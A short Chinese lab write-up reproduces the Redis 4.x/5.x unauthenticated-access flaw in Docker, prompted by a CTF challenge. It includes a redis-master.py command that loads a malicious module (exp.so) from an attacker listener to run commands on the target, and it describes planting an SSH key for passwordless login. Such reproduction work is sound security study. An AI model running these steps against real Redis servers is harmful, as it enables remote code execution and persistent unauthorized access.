Redis 4.x/5.x IDOR漏洞复现

Redis 4.x/5.x 未授权访问漏洞

Redis未授权访问在4.x/5.0.5以前版本下，我们可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。

漏洞复现

最近碰到ctf的题目是通过ssrf和redis的未授权访问打入内网getshell，想着用docker复现以下此漏洞。

拉取环境开启环境后，如图

使用redis-cli -h your-ipj即可连接redis数据库，并且可以清空所有数据，即有未授权访问漏洞

使用poc实现远程命令执行

先将下载好的poc目录下的redismoudleSDK进行编译

但是即使进行编译之后还是会报错，因为没有装redis-cli

因为之前ubantu靶机装了但是kali没有装（后来发现并没有影响仔细找错甚至看了整个脚本）原来是我的8888端口号被占用了执行不了

python3 redis-master.py -r 192.168.11.147 -p 6379 -L 192.168.11.129 -p 8888 -f RedisModulesSDK/exp.so -c “id”
从而实现命令执行

此外还有一种方法就是利用ssh密钥

使用我的kali对ssh生成一个空密码，将密钥传输到靶机即redis上，然后可以使用ssh免密登录。

至此复现完成